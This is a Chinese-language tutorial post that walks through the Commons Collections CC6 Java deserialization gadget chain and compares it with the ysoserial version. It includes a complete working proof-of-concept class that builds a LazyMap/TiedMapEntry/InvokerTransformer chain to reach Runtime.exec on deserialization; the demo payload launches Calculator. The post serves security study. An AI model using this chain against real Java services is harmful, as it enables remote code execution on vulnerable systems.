Java cc6
接着看一下 cc6 的这条链
基础学习
先看一下P神给的简单链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
可以看到还是 cc1
的套路,后半段调用的是 LazyMap.get()
方法,只有前半部分是新的链
这里面找到了 org.apache.commons.collections.keyvalue.TiedMapEntry
类
查看其 getValue
方法

调用了 get
方法,并且其 map
字段还是在初始化 TiedMapEntry
时候设置的

我们完全可以将这个 map
变为我们的 lazyMap
类
并且在其 Hashcode
方法中调用了 getValue
方法

说起来 Hashcode
你是否想到了 URLDNS中的payload
利用 HashMap
调用到其他类的 hashCode
方法
cc6
里面就是利用的这种方法,就算是在 HashMap
中也有好几种方式可以调用到 hashCode
,首先就是在 readObject
中

在函数的尾部可以看见调用了本地的 hash
方法,而 hash
方法里面就会调用到 hashCode

还有一种方式就是在 HashMap
的 put
方法中也存在 hashCode
的调用

这里面我们先用 第一种获取 hashCode
的方法进行测试,毕竟只要 readObject
就可以获取到 hashCode
,另一种还需要找到另一个类来调用 put
方法
编写POC(实际上分析完 DNSURL 和 CC1 这个就显得简单多了)
package Study.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Demo1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer= new ChainedTransformer(transformers);
Map inner = new HashMap();
Map outer = LazyMap.decorate(inner,transformer);
TiedMapEntry tme = new TiedMapEntry(outer,"JustForYou");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(tme);
oos.close();
//反序列化
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

调用链依次为
HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()-> 后面就是 transform 的几条循环链了
这个利用链可以在Java 7和8的高版本触发
yso中的调用链
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
可以看到 yso
中使用的是 HashSet
中的 readObject

结尾部分会调用到 put
方法
这里面跳转到 HashMap
的的 put
方法

接着在进入 hash
方法

调用到 TiedMapEntry
的 hashCode
方法

之后再进入 getValue
,最后在调用到 Lazymap
的 get
方法,之后就是一系列设置好的调用链了,完成调用链

yso的链长一点,但是基本思路是大差不差的
总结
相比cc1,cc6更简单一些,利用范围也更大一点
贴一份利用图